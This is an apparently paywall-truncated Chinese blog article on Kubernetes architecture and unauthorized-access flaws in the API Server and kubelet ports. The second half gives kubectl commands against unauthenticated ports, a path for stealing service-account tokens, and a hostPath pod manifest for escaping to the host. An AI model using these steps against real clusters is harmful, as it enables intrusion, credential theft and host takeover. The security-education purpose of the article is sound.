一、k8s介绍

全称是 kubernetes,是谷歌在2014年推出的一种开源容器编排系统,后来捐赠给了云原生计算基金会(CNCF)。因将k后面的8个字母进行缩写后,被广泛简称为K8s。随着容器技术的发展,面临着容器数量庞大、难以管理的问题,K8s的推出很好的解决了这一问题,并且在容器编排系统中占据领先地位。
Kubernetes 的名字来源于希腊语,意为“舵手”或“领航员”,寓意着它在容器编排领域如同舵手一般,引领着容器化应用的运行(docker的logo是一个运输船)。
Master 节点:
Master节点是 Kubernetes 集群的控制节点,每个 Kubernetes 集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件,是 Kubernetes 集群的“大脑”。Master节点可以运行在集群中的任意一个节点上,但是最好将Master节点作为一个独立节点,不在该节点上创建容器,因为如果该节点出现问题导致宕机或不可用,整个集群的管理就会失效。
在Master节点上,通常会运行以下服务:
- API Server(kube-apiserver)
提供 HTTP Rest 接口,处理所有资源的增、删、改、查等操作,是集群控制的入口。 - etcd
分布式的键值存储系统,用于保存集群的配置数据和状态信息。 - Scheduler(kube-scheduler)
调度器,负责将新创建的 Pod 调度到合适的工作节点上运行,基于资源需求、约束条件等进行调度。 - Controller Manager(kube-controller-manager)
控制和管理器,运行多个控制器进程,如节点控制器、复制控制器等,确保集群状态符合期望状态。
Node 节点:
Node节点是Kubernetes集群的工作节点,每个集群中至少需要一台Node节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上,也可以运行在虚拟机中。
在Node节点上,通常会运行以下服务:
- kubelet
运行在每一个 Node 节点上的客户端,负责Pod对应的容器创建,启动和停止等任务,同时和Master节点进行通信,实现集群管理的基本功能。 - kube-proxy
实现 Kubernetes 服务(Service)的网络代理,负责负载均衡和网络通信。 - container runtime
负责运行和管理容器,常见的容器运行时有 Docker、containerd 等。
Pod:
是 Kubernetes 中最小的部署和调度单元。一个 Pod 可以包含一个或多个紧密相关的容器,这些容器共享网络(同一 IP 地址)和存储资源。Pod 设计为临时的,若其中的容器异常退出,Kubernetes 可以通过控制器自动重建它们。
一句话总结:
- Master:管事的(决策者)
- Node:干活的(执行者)
- Pod:干活的工具包(运行单元)

二、组件接口存在的风险
k8s 中的大多数组件以 HTTP 和 HTTPS 的 API 形式提供服务,常见端口如下:
| 组件 | 默认端口 | 说明 |
|---|---|---|
| API Server | 6443 | 基于 HTTP 的安全端口 |
| API Server | 8080 | 不安全的 HTTP 端口 |
| Kubelet | 10248 | 检查健康状态的端口 |
| Kubelet | 10250 | 面向 API Server 提供服务的 HTTPS 端口 |
| Kubelet | 10255 | 提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权 |
| Dashboard | 8001 | 提供 HTTP 服务的端口 |
| etcd | 2379 | 客户端与服务端之间通信的端口 |
| etcd | 2380 | 不同服务端之间通信的端口 |
API Server 未授权访问
默认情况下,Kubernetes API Server 在两个端口提供服务:8080 和 6443
8080: insecure-port #以 HTTP 提供服务,无认证和授权机制,
6443: secure-port #以 HTTPS 提供服务,支持认证和授权服务。
如果配置不当,8080 和 6443端口都会存在未授权访问漏洞,只要网络可达,攻击者就能够通过这两个端口操控集群。
8080端口未授权访问
在较新版本的 Kubernetes 中,8080 端口的 HTTP 服务默认不启动,需要我们手动开启。
vim /etc/kubernetes/manifests/kube-apiserver.yaml

这里设置为0表示关闭,甚至在高版本的k8s中,直接将--insecure-port这个配置删除了,需要手动添加。
这里将修改为8080,并添加配置
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet
访问 8080 端口即可看到存在未授权。

通过 kubectl -s 命令,查看node节点信息以及pod信息
kubectl -s ip:8080 get node
kubectl -s ip:8080:8080 get pod

执行命令
kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash

在高版本的k8s中,这种方法是不行的,连不上去
获取 service-account-token
/api/v1/namespaces/kube-system/secrets/

建立特权 Pod,进行逃逸:
本地创建 test.yaml 文件,内容如下:
apiVersion: v1
kind: Pod
metadata:
name: nginx-deployment
spec:
containers:
- image: nginx:1.8
name: container
volumeMounts:
- mountPath: /mnt
name: test
volumes:
- name: test
hostPath:
path: /
kubect -s https://your-ip:6443/ apply -f test.yaml
云安全:K8s未授权漏洞全解析

最低0.47元/天 解锁文章
1万+

被折叠的 条评论
为什么被折叠?



